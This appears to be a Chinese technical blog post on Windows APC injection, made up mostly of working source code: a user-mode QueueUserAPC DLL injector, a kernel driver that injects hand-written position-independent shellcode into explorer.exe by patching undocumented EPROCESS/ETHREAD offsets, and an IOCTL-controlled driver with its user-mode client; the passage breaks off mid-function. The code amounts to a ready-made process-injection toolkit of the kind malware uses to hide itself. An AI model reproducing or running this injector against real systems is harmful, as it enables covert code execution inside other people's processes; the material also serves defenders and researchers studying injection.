APC 基本概念及APC注入的实现(Ring3 + Ring0)----实现

APC 基本概念及APC注入的实现(Ring3 + Ring0)—-实现


Ring3

  • 原理
           利用QueueUserAPC 函数把APC添加到指定可警告线程的APC队列。
    其中QueueUserAPC 函数及APC函数声明如下:
DWORD WINAPI QueueUserAPC(
  _In_ PAPCFUNC  pfnAPC,
  _In_ HANDLE    hThread,
  _In_ ULONG_PTR dwData
);

VOID CALLBACK APCProc(
  _In_ ULONG_PTR dwParam
);

  • 核心函数

BOOL MyQueueUserAPC(CONST WCHAR* szDllPath,DWORD ProcessId)
{
    BOOL bRet = FALSE;
    HANDLE  hTargetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessId);
    PVOID RemoteBufferBase = NULL;
    if(RemoteBufferBase = VirtualAllocEx(hTargetProcessHandle, nullptr, (wcslen(szDllPath)+1)*sizeof(WCHAR), MEM_COMMIT, PAGE_EXECUTE_READWRITE))
    {
        if(WriteProcessMemory(hTargetProcessHandle, RemoteBufferBase, szDllPath,  (wcslen(szDllPath)+1)*sizeof(WCHAR), NULL))
        {
            THREADENTRY32 te = { 0 };
            te.dwSize = sizeof(te);
            HANDLE hThreadSnap = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD, 0 ) ;  
            HANDLE ThreadHandle = nullptr;

            if (Thread32First(hThreadSnap,&te))
            {
                do
                {
                    if (te.th32OwnerProcessID == ProcessId)     // 找到属于我们进程的线程
                    {

                        if( ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID))
                        {
                            if (QueueUserAPC((PAPCFUNC)LoadLibraryW, ThreadHandle, (ULONG_PTR)RemoteBufferBase) == 0)
                            {
                                printf("QueueUserAPC:%d\n",GetLastError());
                                continue;
                            }
                            bRet = TRUE;
                            printf("ThreadId:%d\n",te.th32ThreadID);
                            CloseHandle(ThreadHandle);
                        }
                    }
                } while (Thread32Next(hThreadSnap,&te));
            }
            else
            {
                printf("ThreadFirst:%d\n",GetLastError());
            }
        } // WriteMemory
        else
        {
            printf("WriteProcessMemory:%d\n",GetLastError());
        }
    } // VirtualAlloc
    else
    {
        printf("VirtualAlloc:%d\n",GetLastError());
    }

    return bRet;
}

Ring0

  • 原理
           其实Ring0 注入的实现原理与Ring3 是一样的,不过Ring0 需要直接操作系统结构体的成员,需要在应用层申请内存空间等等操作。具体实现的话,可以有两种思路,一种是有应用层的控制,这种的话,其实可以在应用层做好大部分的工作,然后Ring0 层单纯的进行APC 例程的挂载就可以了。第二种就是纯Ring0,需要自己做全部的事情。

单纯的Ring0 实现

  • 声明部分
#ifndef CXX_PURERING0APCINJECT_H
#define CXX_PURERING0APCINJECT_H

#include <ntifs.h>
#include <devioctl.h>
#define ActiveProcessLinks_OffsetOf_Eprocess    0x88
#define ThreadListHead_OffsetOf_Eprocess        0x190
#define ThreadListEntry_OffsetOf_Ethread        0x22c
#define Alertable_OffsetOf_Kthread_Ethread      0x164 
#define UserApcPending_OffsetOf_KapcState_Kthread_Ethread (0x16 + 0x34)

VOID DriverUnload(IN PDRIVER_OBJECT pDriverObj);

void PureRing0ApcInject(CHAR* szDllPath,char* szTargetProcess);
extern PCHAR PsGetProcessImageFileName(PEPROCESS EProcess);
NTSTATUS FindTargetProcessAndThread(char* szProcessName,PEPROCESS *ppProcess,PETHREAD * ppThread);

VOID ApcRoutine(IN PCHAR DllPath,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2);
VOID ApcRountieEnd(VOID);

typedef enum _KAPC_ENVIRONMENT
{
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment
}KAPC_ENVIRONMENT;


NTKERNELAPI
    VOID
    KeInitializeApc(OUT PRKAPC Apc,
    IN PRKTHREAD Thread,
    IN KAPC_ENVIRONMENT Environment,
    IN PKKERNEL_ROUTINE KernelRoutine,
    IN OPTIONAL PKRUNDOWN_ROUTINE RundownRoutine,
    IN OPTIONAL PKNORMAL_ROUTINE NormalRoutine,
    IN OPTIONAL KPROCESSOR_MODE ProcessorMode,
    IN OPTIONAL PVOID NormalContext);


NTKERNELAPI
    VOID
    KeInsertQueueApc(IN PKAPC Apc,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2,
    IN KPRIORITY Increment);


VOID
    KernelApcRoutine(PKAPC Apc, 
    PKNORMAL_ROUTINE *NormAlRoutine,
    IN OUT PVOID *NormAlContext,
    IN OUT PVOID *SystemArgument1,
    IN OUT PVOID *SystemArgument2);
#endif
  • 实现部分—-查找目标进程和线程
NTSTATUS FindTargetProcessAndThread(char* szProcessName,PEPROCESS *ppProcess,PETHREAD * ppThread)
{
    NTSTATUS bRet = -1;
    PEPROCESS Current = NULL;
    PLIST_ENTRY ActiveProcessLinks = NULL;
    PCHAR       ProcessName = NULL;
    PLIST_ENTRY ThreadListHead = NULL;
    PLIST_ENTRY ThreadListEntry = NULL;
    PETHREAD CurrentThread = NULL;
    PETHREAD BeginThread = NULL;
    *ppProcess = NULL;
    *ppThread = NULL;
    do 
    {
        Current = PsGetCurrentProcess();   //System
        while (1)
        {
            ProcessName = PsGetProcessImageFileName(Current);
            if (_stricmp(ProcessName,szProcessName) == 0)
            {
                *ppProcess = Current;
                break;
            }

            ActiveProcessLinks = ((PLIST_ENTRY)((ULONG)Current + ActiveProcessLinks_OffsetOf_Eprocess));
            Current = (PEPROCESS)(((ULONG)ActiveProcessLinks->Flink) - ActiveProcessLinks_OffsetOf_Eprocess);
            if (Current == PsGetCurrentProcess())
            {
                break;
            }
        }
        if(ppProcess == NULL)
        {
            break;
        }


        ThreadListHead = (PLIST_ENTRY)((ULONG)*ppProcess + ThreadListHead_OffsetOf_Eprocess);
        CurrentThread = (PETHREAD)((ULONG)ThreadListHead->Flink - ThreadListEntry_OffsetOf_Ethread);
        BeginThread = CurrentThread;

        while (1)
        {
            DbgPrint("CurrentThread:%p\n",CurrentThread);
            // 找到目标线程,即可警告的等待状态的线程
            if (*(unsigned char*)((ULONG)CurrentThread + Alertable_OffsetOf_Kthread_Ethread) == 1)
            {
                *ppThread = CurrentThread;
                bRet = STATUS_SUCCESS;
                break;
            }

            ThreadListEntry = (PLIST_ENTRY)((ULONG)CurrentThread + ThreadListEntry_OffsetOf_Ethread);
            CurrentThread = (PETHREAD)((ULONG)ThreadListEntry->Flink - ThreadListEntry_OffsetOf_Ethread);
            if (CurrentThread == BeginThread)
            {
                break;
            }
        }
    } while (0);
    return bRet;
}
  • 实现部分—–完成注入操作
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString)
{
    pDriverObj->DriverUnload = DriverUnload;                // DriverUnload 函数什么都不做
    PureRing0ApcInject("D:\\SimpleDll.dll","explorer.exe");// 直接进行注入操作
    return STATUS_SUCCESS;
}
// 这个函数中不能有相对跳转之类的函数,必须是EIP 无关的指令,我们采用纯手写
__declspec(naked)
VOID ApcRoutine(IN PCHAR DllPath,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2)
{
    __asm
    {
        //  自己去实现堆栈平衡
        push ebp;
        mov ebp,esp;
        pushad;
        jmp end;
start:
        pop edx;                        //  edx = "GetProcAddress

        // 下面的操作通过PEB->InInitializationOrderModuleList->_LDR_DATA_TABLE_ENTRY->DllBase
        // 得到进程第一模块,然后遍历模块找到kernel32.dll 基地址(X86 下模块名为小写双子,本机Win10 是大写双子,需要额外注意目标进程的模块名)

        mov eax,fs:[0x30];              //  PEB
        mov eax,[eax + 0x0C];           //  _PEB_LDR_DATA
        /*
        0:001> .process
        Implicit process is now 7ffd9000
        0:001> dt _peb 7ffd9000
        ntdll!_PEB
        ...
        +0x00c Ldr              : 0x001a1e90 _PEB_LDR_DATA
        */
        mov eax,[eax + 0x1C];
        /*
        0:001> dt _PEB_LDR_DATA 0x001a1e90 
        ntdll!_PEB_LDR_DATA
        ...
        +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x1a1f28 - 0x1a3040 ]
        ...

        kd> dt _LDR_DATA_TABLE_ENTRY
        nt!_LDR_DATA_TABLE_ENTRY
        ...
        +0x010 InInitializationOrderLinks : _LIST_ENTRY
        +0x018 DllBase          : Ptr32 Void
        ...
        */
        mov eax,[eax];                          // 第一个模块的ListEntry 结构的地址

search_Kernel32Dll: 



        push edi;                               //  AddressOfNames 
        push ecx;                               //  将我们函数个数压入栈中保存

        mov edi,dword ptr [eax+20h]                 // 模块名


        lea esi,[edx+0x1C];                         //  自己构建的"GetProcAddress"的函数地址

        mov ecx,0x0000000C                            
        repe cmps word ptr[esi],word ptr[edi];
        je found_kernel32
        mov     eax,[eax]


        pop ecx;
        pop edi;
        loop search_Kernel32Dll;
found_kernel32:
        pop ecx;
        pop edi;


        mov ebx,[eax+8h]



        mov esi,dword ptr[ebx + 0x3C];  
        mov esi,dword ptr[ebx + esi + 0x78];    //  导出目录 RVA
        add esi,ebx;                            //  导出目录
        mov edi,dword ptr[esi + 0x20];          //  AddressOfNames RVA
        add edi,ebx;                            //  AddressOfNames 
        mov ecx,dword ptr [esi+0x14];           //  NumberOfFunctions


        push ebp;                               //  保存当前堆栈              
        xor ebp,ebp;

        push esi;                               //  导出目录

search_GetProcAddress:


        push edi;                               //  AddressOfNames 
        push ecx;                               //  将我们函数个数压入栈中保存

        mov edi,dword ptr[edi];                 //  AddressOfNames[i] RVA
        add edi,ebx;                            //  函数名
        mov esi,edx;                            //  自己构建的"GetProcAddress"的函数地址

        mov ecx,0xE;                            
        repe cmps byte ptr[esi],byte ptr[edi];
        je found;


        pop ecx;
        pop edi;
        add edi,4;
        inc ebp;                                // 保存一个索引
        loop search_GetProcAddress;

found:
        pop ecx;
        pop edi;
        pop esi;                                //  导出目录
        mov ecx,ebp;
        //sub ecx,dword ptr[esi + 0x10]         // ecx = ImageExportDirectory->Base
        mov eax,dword ptr[esi + 0x24];          //  AddressOfNameOrdinals RVA
        add eax,ebx;                            //  AddressOfNameOrdinals
        shl ecx,1                               //  word
        add eax,ecx
        xor ecx,ecx
        mov cx,word ptr[eax]                    //  Index;
        mov eax,dword ptr[esi+1Ch]              //  AddressOfFunctions RVA
        add eax,ebx;                            //  AddressOfFunctions
        shl ecx,2;
        add eax,ecx;
        mov eax,dword ptr[eax];                 //  函数地址 RVA
        add eax,ebx;

        pop ebp;                                //  恢复堆栈

        mov esi,edx;
        add esi,0xF;                            //  "LoadLibraryA"

        push esi;
        push ebx;                               //GetProcAddress(HMODULE,FuncName)
        call eax;


        push DllPath;
        call eax;   
        mov eax , DllPath
        sub eax, 1
        mov byte ptr [eax],1
        popad;
        mov esp,ebp;
        pop ebp;
        ret;


end:
        call start;                 // 这个操作后[esp] 为 下面字符串的地址
        __emit 'G'
        __emit 'e'
        __emit 't'
        __emit 'P'
        __emit 'r'
        __emit 'o'
        __emit 'c'
        __emit 'A'
        __emit 'd'
        __emit 'd'
        __emit 'r'
        __emit 'e'
        __emit 's'
        __emit 's'
        __emit 0        // + 14
        __emit 'L'
        __emit 'o'
        __emit 'a'
        __emit 'd'
        __emit 'L'
        __emit 'i'
        __emit 'b'
        __emit 'r'
        __emit 'a'
        __emit 'r'
        __emit 'y'
        __emit 'A'
        __emit 0        // + 27
        __emit 'k'
        __emit 0
        __emit 'e'
        __emit 0
        __emit 'r'
        __emit 0
        __emit 'n'
        __emit 0
        __emit 'e'
        __emit 0
        __emit 'l'
        __emit 0
        __emit '3'
        __emit 0
        __emit '2'
        __emit 0
        __emit '.'
        __emit 0
        __emit 'd'
        __emit 0
        __emit 'l'
        __emit 0
        __emit 'l'
        __emit 0
        __emit 0
        __emit 0
    }
}
// 单传的为了得到代码段的大小
__declspec(naked)
VOID ApcRountieEnd(VOID)
{
}
void PureRing0ApcInject(CHAR* szDllPath,char* szTargetProcess)
{
    PEPROCESS   pTargetProcess = NULL;
    PETHREAD    pTargetThread = NULL;
    ULONG_PTR       dwApcInjectCodeSize = 0;
    ULONG_PTR       dwApcTotalSize = 0;
    ULONG           size = 0;
    ULONG_PTR       lpTargetAddress = NULL;
    PKEVENT         pKevent = NULL;
    PKAPC           pKapc = NULL;
    int             iCount = 0;
     LARGE_INTEGER delay;
    DbgPrint("TargetProcess:%s\nDllPath:%S\n",szTargetProcess,szDllPath);
    do 
    {
        if(NT_SUCCESS(FindTargetProcessAndThread(szTargetProcess,&pTargetProcess,&pTargetThread)))
        {
            DbgPrint("找到了目标进程和目标线程:%p\t%p\n",pTargetProcess,pTargetThread);
            dwApcInjectCodeSize = (ULONG_PTR)ApcRountieEnd - (ULONG_PTR)ApcRoutine;
            dwApcTotalSize = dwApcInjectCodeSize + (strlen(szDllPath)+1) * sizeof(char) + 1;
            dwApcTotalSize = ((dwApcTotalSize + 64 * 1024 - 1) / (64 * 1024) )* (64 * 1024);// 大小必须是64KB 对齐的,否则蓝屏
            DbgPrint("代码大小:%d\n总大小:%d\n",dwApcInjectCodeSize,dwApcTotalSize);
            pKevent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
            KeAttachProcess(pTargetProcess);
            if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentProcess(),&lpTargetAddress,0,dwApcTotalSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)))
            {
                DbgPrint("申请内存失败\n");
                KeDetachProcess();
                break;
            }
            DbgPrint("申请内存成功:%p\n",lpTargetAddress);
            memcpy((void*)lpTargetAddress,(void*)ApcRoutine,dwApcInjectCodeSize);
            strcpy((CHAR*)(lpTargetAddress + dwApcInjectCodeSize + 1),szDllPath);
            *(char*)(lpTargetAddress + dwApcInjectCodeSize) = 0;// 这个字节用于标志APC 例程是否执行完毕
            *(char*)(lpTargetAddress + dwApcInjectCodeSize + strlen(szDllPath) + 1) = 0;
            DbgPrint("%s\n",lpTargetAddress + dwApcInjectCodeSize + 1);

            DbgPrint("KeInitializeApc:%p KeInsertQueueApc:%p\n",(void*)KeInitializeApc,(void*)KeInsertQueueApc);


            DbgPrint("下面将进行注入\n");
            DbgPrint("KeInsertQueueApc:%p",(ULONG_PTR)KeInsertQueueApc);

            KeInitializeEvent(pKevent,NotificationEvent,FALSE);

            //将 KAPC_STATE->UserApcPending = TRUE,这样才可以进行注入操作

            *(unsigned char*)((ULONG)pTargetThread + UserApcPending_OffsetOf_KapcState_Kthread_Ethread) = 1;
            pKapc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); 

            KeInitializeApc(pKapc,
                pTargetThread,    //目标进程主线程
                OriginalApcEnvironment,   //目标apcz状态
                KernelApcRoutine,  //内核apc总入口
                NULL,       //Rundown Rounine=NULL
                (PKNORMAL_ROUTINE)(lpTargetAddress),   //用户空间的总apc
                UserMode,   //插入到用户apc队列
                (PVOID)(lpTargetAddress + dwApcInjectCodeSize + 1)); // 自己的apc队列
            // 插入apc队列
            KeInsertQueueApc(pKapc,pKevent,NULL,IO_NO_INCREMENT);
            // 注入成功后等待该事件才能退出
            KeWaitForSingleObject(
                pKevent,
                Executive,
                KernelMode,
                FALSE,
                NULL
                );

            delay.QuadPart = -100*10000;
            while(*(char*)(lpTargetAddress + dwApcInjectCodeSize) == 0)
            {
                DbgPrint("%d\t等待APC 例程执行完毕,可以释放内存了\n",iCount++);
                KeDelayExecutionThread(KernelMode,FALSE,&delay);  //等待apc执行 
            }
            DbgPrint("注入成功,退出驱动\r\n");
            size = 0;
            // 一定要释放内存,否则当进程退出的时候程序将崩溃
            ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&lpTargetAddress,&size,MEM_RELEASE); 
            KeDetachProcess();
            // 释放pKevent 的内存
            ExFreePool(pKevent);
        }
        else
        {
            if(pTargetProcess == NULL)
            {
                DbgPrint("没有找到 EPROCESS\r\n");
            }
            if(pTargetThread == NULL)
            {
                DbgPrint("没有找到 ETHREAD\r\n");
            }
        }
    } while (0);
}
// APC 执行成功将执行该函数
VOID
    KernelApcRoutine(PKAPC Apc, 
    PKNORMAL_ROUTINE *NormAlRoutine,
    IN OUT PVOID *NormAlContext,
    IN OUT PVOID *SystemArgument1,
    IN OUT PVOID *SystemArgument2)
{
    PKEVENT pEvent;
        // 释放APC 触发事件
    pEvent  = (PKEVENT)*SystemArgument1;
    KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);

    ExFreePool(Apc);   
    DbgPrint("进入到KernelApcRoutine 函数\n");
}
VOID
DriverUnload(IN PDRIVER_OBJECT pDriverObj)
{   
    return;
}

包含Ring3 控制的 Ring0 层实现

Ring3 层代码
#include <iostream>
#include <Windows.h>
#include <WinIoCtl.h>
using namespace std;
#define LINK_NAME       L"\\\\.\\DriverLinkAPC"

#define CTL_KEINJECTAPC \
    CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_BUFFERED,FILE_ANY_ACCESS)

typedef struct _INJECT_INFO
{
    ULONG   ProcessId;
    char DllName[1024];
}INJECT_INFO,*PINJECT_INFO;

int main()
{
    HANDLE hFile;
    INJECT_INFO InjectInfo;
    hFile=CreateFileW(LINK_NAME,
        GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL,OPEN_EXISTING,0,NULL);

    if(hFile==INVALID_HANDLE_VALUE)
    {
        printf("\nError: Unable to connect to the driver (%d)\n",GetLastError());
        getchar();
        getchar();
        return -1;
    }

    memset(&InjectInfo,0,sizeof(INJECT_INFO));
    scanf("%d",&(InjectInfo.ProcessId));
    scanf("%s",InjectInfo.DllName);
    DWORD dwReturnSize = 0;
    DWORD dwRet = 0;
    dwRet = DeviceIoControl(hFile,CTL_KEINJECTAPC,   //
        &InjectInfo,
        sizeof(INJECT_INFO),
        NULL,
        NULL,
        &dwReturnSize,
        NULL);

    CloseHandle(hFile);
    return 0;
}
Rin0 层代码
  • 声明部分

#ifndef CXX_APCINJECTWITHRING3_H
#define CXX_APCINJECTWITHRING3_H

#include <ntifs.h>
#include <devioctl.h>

typedef struct _INJECT_INFO
{
    ULONG   ProcessId;
    char    szDllName[1024];
}INJECT_INFO,*PINJECT_INFO;

#define DEVICE_NAME       L"\\Device\\DriverDeviceAPC"
#define LINK_NAME       L"\\DosDevices\\DriverLinkAPC"

#define CTL_KEINJECTAPC \
    CTL_CODE(FILE_DEVICE_UNKNOWN,0x830,METHOD_BUFFERED,FILE_ANY_ACCESS)

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP Irp);

#define ActiveProcessLinks_OffsetOf_Eprocess    0x88
#define ThreadListHead_OffsetOf_Eprocess        0x190
#define ThreadListEntry_OffsetOf_Ethread        0x22c
#define Alertable_OffsetOf_Kthread_Ethread      0x164 
#define UserApcPending_OffsetOf_KapcState_Kthread_Ethread (0x16 + 0x34)

VOID DriverUnload(IN PDRIVER_OBJECT pDriverObj);
NTSTATUS DefaultPassThrough(PDEVICE_OBJECT  DeviceObject,PIRP Irp);
NTSTATUS InjectApcWithRing3(PINJECT_INFO pInjectInfor);
extern PCHAR PsGetProcessImageFileName(PEPROCESS EProcess);
NTSTATUS FindTargetProcessAndThread(ULONG dwProcessId,PEPROCESS *ppProcess,PETHREAD * ppThread);

VOID ApcRoutine(IN PCHAR DllPath,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2);
VOID ApcRountieEnd(VOID);

typedef enum _KAPC_ENVIRONMENT
{
    OriginalApcEnvironment,
    AttachedApcEnvironment,
    CurrentApcEnvironment
}KAPC_ENVIRONMENT;


NTKERNELAPI
    VOID
    KeInitializeApc(OUT PRKAPC Apc,
    IN PRKTHREAD Thread,
    IN KAPC_ENVIRONMENT Environment,
    IN PKKERNEL_ROUTINE KernelRoutine,
    IN OPTIONAL PKRUNDOWN_ROUTINE RundownRoutine,
    IN OPTIONAL PKNORMAL_ROUTINE NormalRoutine,
    IN OPTIONAL KPROCESSOR_MODE ProcessorMode,
    IN OPTIONAL PVOID NormalContext);



NTKERNELAPI
    VOID
    KeInsertQueueApc(IN PKAPC Apc,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2,
    IN KPRIORITY Increment);



VOID
    KernelApcRoutine(PKAPC Apc, 
    PKNORMAL_ROUTINE *NormAlRoutine,
    IN OUT PVOID *NormAlContext,
    IN OUT PVOID *SystemArgument1,
    IN OUT PVOID *SystemArgument2);
#endif

实现部分


#ifndef CXX_APCINJECTWITHRING3_H
#   include "ApcInjectWithRing3.h"
#endif

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING pRegistryPath)
{
    NTSTATUS        Status;
    PDEVICE_OBJECT  DeviceObject;

    UNICODE_STRING   uniDeviceName;
    UNICODE_STRING   uniLinkName;
    int                 i;
    RtlInitUnicodeString(&uniDeviceName,DEVICE_NAME);

    RtlInitUnicodeString(&uniLinkName,LINK_NAME);

    for (i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
    {
        DriverObject->MajorFunction[i] = DefaultPassThrough;
    }
    DriverObject->DriverUnload = DriverUnload;

    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverDispatch;

    //创建设备对象
    Status = IoCreateDevice(DriverObject,0,&uniDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject);

    if (!NT_SUCCESS(Status))
    {
        DbgPrint("IoCreateDevice 失败\n");
        return Status;
    }

    Status = IoCreateSymbolicLink(&uniLinkName,&uniDeviceName);

    if (!NT_SUCCESS(Status))
    {
        DbgPrint("IoCreateSymbolicLink 失败\n");
        IoDeleteDevice(DeviceObject);

        return Status;
    }
    return STATUS_SUCCESS;
}

// 这个函数中不能有相对跳转之类的函数,必须是EIP 无关的指令,我们采用纯手写
__declspec(naked)
VOID ApcRoutine(IN PCHAR DllPath,
    IN PVOID SystemArgument1,
    IN PVOID SystemArgument2)
{
    __asm
    {
        //  自己去实现堆栈平衡
        push ebp;
        mov ebp,esp;
        pushad;
        jmp end;
start:
        pop edx;                        //  edx = "GetProcAddress

        // 下面的操作通过PEB->InInitializationOrderModuleList->_LDR_DATA_TABLE_ENTRY->DllBase
        // 得到进程第一模块即kernel32.dll 的基地址

        mov eax,fs:[0x30];              //  PEB
        mov eax,[eax + 0x0C];           //  _PEB_LDR_DATA
        /*
        0:001> .process
        Implicit process is now 7ffd9000
        0:001> dt _peb 7ffd9000
        ntdll!_PEB
        ...
        +0x00c Ldr              : 0x001a1e90 _PEB_LDR_DATA
        */
        mov eax,[eax + 0x1C];
        /*
        0:001> dt _PEB_LDR_DATA 0x001a1e90 
        ntdll!_PEB_LDR_DATA
        ...
        +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x1a1f28 - 0x1a3040 ]
        ...

        kd> dt _LDR_DATA_TABLE_ENTRY
        nt!_LDR_DATA_TABLE_ENTRY
        ...
        +0x010 InInitializationOrderLinks : _LIST_ENTRY
        +0x018 DllBase          : Ptr32 Void
        ...
        */
        mov eax,[eax];                          // 第一个模块的ListEntry 结构的地址

search_Kernel32Dll: 



        push edi;                               //  AddressOfNames 
        push ecx;                               //  将我们函数个数压入栈中保存

        mov edi,dword ptr [eax+20h]                 // 模块名


        lea esi,[edx+0x1C];                         //  自己构建的"GetProcAddress"的函数地址

        mov ecx,0x0000000C                            
        repe cmps word ptr[esi],word ptr[edi];
        je found_kernel32
        mov     eax,[eax]


        pop ecx;
        pop edi;
        loop search_Kernel32Dll;
found_kernel32:
        pop ecx;
        pop edi;


        mov ebx,[eax+8h]



        mov esi,dword ptr[ebx + 0x3C];  
        mov esi,dword ptr[ebx + esi + 0x78];    //  导出目录 RVA
        add esi,ebx;                            //  导出目录
        mov edi,dword ptr[esi + 0x20];          //  AddressOfNames RVA
        add edi,ebx;                            //  AddressOfNames 
        mov ecx,dword ptr [esi+0x14];           //  NumberOfFunctions


        push ebp;                               //  保存当前堆栈              
        xor ebp,ebp;

        push esi;                               //  导出目录

search_GetProcAddress:


        push edi;                               //  AddressOfNames 
        push ecx;                               //  将我们函数个数压入栈中保存

        mov edi,dword ptr[edi];                 //  AddressOfNames[i] RVA
        add edi,ebx;                            //  函数名
        mov esi,edx;                            //  自己构建的"GetProcAddress"的函数地址

        mov ecx,0xE;                            
        repe cmps byte ptr[esi],byte ptr[edi];
        je found;


        pop ecx;
        pop edi;
        add edi,4;
        inc ebp;                                // 保存一个索引
        loop search_GetProcAddress;

found:
        pop ecx;
        pop edi;
        pop esi;                                //  导出目录
        mov ecx,ebp;
        //sub ecx,dword ptr[esi + 0x10]         // ecx = ImageExportDirectory->Base
        mov eax,dword ptr[esi + 0x24];          //  AddressOfNameOrdinals RVA
        add eax,ebx;                            //  AddressOfNameOrdinals
        shl ecx,1                               //  word
        add eax,ecx
        xor ecx,ecx
        mov cx,word ptr[eax]                    //  Index;
        mov eax,dword ptr[esi+1Ch]              //  AddressOfFunctions RVA
        add eax,ebx;                            //  AddressOfFunctions
        shl ecx,2;
        add eax,ecx;
        mov eax,dword ptr[eax];                 //  函数地址 RVA
        add eax,ebx;

        pop ebp;                                //  恢复堆栈

        mov esi,edx;
        add esi,0xF;                            //  "LoadLibraryA"

        push esi;
        push ebx;                               //GetProcAddress(HMODULE,FuncName)
        call eax;


        push DllPath;
        call eax;   
        mov eax , DllPath
        sub eax, 1
        mov byte ptr [eax],1
        popad;
        mov esp,ebp;
        pop ebp;
        ret;


end:
        call start;                 // 这个操作后[esp] 为 下面字符串的地址
        __emit 'G'
        __emit 'e'
        __emit 't'
        __emit 'P'
        __emit 'r'
        __emit 'o'
        __emit 'c'
        __emit 'A'
        __emit 'd'
        __emit 'd'
        __emit 'r'
        __emit 'e'
        __emit 's'
        __emit 's'
        __emit 0        // + 14
        __emit 'L'
        __emit 'o'
        __emit 'a'
        __emit 'd'
        __emit 'L'
        __emit 'i'
        __emit 'b'
        __emit 'r'
        __emit 'a'
        __emit 'r'
        __emit 'y'
        __emit 'A'
        __emit 0        // + 27
        __emit 'k'
        __emit 0
        __emit 'e'
        __emit 0
        __emit 'r'
        __emit 0
        __emit 'n'
        __emit 0
        __emit 'e'
        __emit 0
        __emit 'l'
        __emit 0
        __emit '3'
        __emit 0
        __emit '2'
        __emit 0
        __emit '.'
        __emit 0
        __emit 'd'
        __emit 0
        __emit 'l'
        __emit 0
        __emit 'l'
        __emit 0
        __emit 0
        __emit 0
    }
}
__declspec(naked)
VOID ApcRountieEnd(VOID)
{
}

NTSTATUS DefaultPassThrough(PDEVICE_OBJECT  DeviceObject,PIRP Irp)
{
    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = STATUS_SUCCESS;

    IoCompleteRequest(Irp,IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}

NTSTATUS InjectApcWithRing3(PINJECT_INFO pInjectInfor)
{
    PEPROCESS   pTargetProcess = NULL;
    PETHREAD    pTargetThread = NULL;
    ULONG_PTR       dwApcInjectCodeSize = 0;
    ULONG_PTR       dwApcTotalSize = 0;
    ULONG           size = 0;
    ULONG_PTR       lpTargetAddress = NULL;
    PKEVENT         pKevent = NULL;
    PKAPC           pKapc = NULL;
    int             iCount = 0;
    LARGE_INTEGER delay;
    do 
    {
        if(NT_SUCCESS(FindTargetProcessAndThread(pInjectInfor->ProcessId,&pTargetProcess,&pTargetThread)))
        {
            DbgPrint("找到了目标进程和目标线程:%p\t%p\n",pTargetProcess,pTargetThread);
            dwApcInjectCodeSize = (ULONG_PTR)ApcRountieEnd - (ULONG_PTR)ApcRoutine;
            dwApcTotalSize = dwApcInjectCodeSize + (strlen(pInjectInfor->szDllName)+1) * sizeof(char) + 1;
            dwApcTotalSize = ((dwApcTotalSize + 64 * 1024 - 1) / (64 * 1024) )* (64 * 1024);// 大小必须是64KB 对齐的,否则蓝屏
            DbgPrint("代码大小:%d\n总大小:%d\n",dwApcInjectCodeSize,dwApcTotalSize);
            pKevent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
            KeAttachProcess(pTargetProcess);

            if(!NT_SUCCESS(ZwAllocateVirtualMemory(NtCurrentProcess(),&lpTargetAddress,0,dwApcTotalSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)))
            {
                DbgPrint("申请内存失败\n");
                KeDetachProcess();
                break;
            }
            DbgPrint("申请内存成功:%p\n",lpTargetAddress);
            memcpy((void*)lpTargetAddress,(void*)ApcRoutine,dwApcInjectCodeSize);
            strcpy((CHAR*)(lpTargetAddress + dwApcInjectCodeSize + 1),pInjectInfor->szDllName);
            *(char*)(lpTargetAddress + dwApcInjectCodeSize) = 0;
            *(char*)(lpTargetAddress + dwApcInjectCodeSize + strlen(pInjectInfor->szDllName) + 1) = 0;
            DbgPrint("%s\n",lpTargetAddress + dwApcInjectCodeSize + 1);

            DbgPrint("KeInitializeApc:%p KeInsertQueueApc:%p\n",(void*)KeInitializeApc,(void*)KeInsertQueueApc);


            DbgPrint("下面将进行注入\n");
            DbgPrint("KeInsertQueueApc:%p",(ULONG_PTR)KeInsertQueueApc);

            KeInitializeEvent(pKevent,NotificationEvent,FALSE);

            // KAPC_STATE->UserApcPending = TRUE,这样才可以进行注入操作

            *(unsigned char*)((ULONG)pTargetThread + UserApcPending_OffsetOf_KapcState_Kthread_Ethread) = 1;
            pKapc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC)); 

            KeInitializeApc(pKapc,
                pTargetThread,    //目标进程主线程
                OriginalApcEnvironment,   //目标apcz状态
                KernelApcRoutine,  //内核apc总入口
                NULL,       //Rundown Rounine=NULL
                (PKNORMAL_ROUTINE)(lpTargetAddress),   //用户空间的总apc
                UserMode,   //插入到用户apc队列
                (PVOID)(lpTargetAddress + dwApcInjectCodeSize + 1)); // 自己的apc队列
            // 插入apc队列
            KeInsertQueueApc(pKapc,pKevent,NULL,IO_NO_INCREMENT);

            KeWaitForSingleObject(
                pKevent,
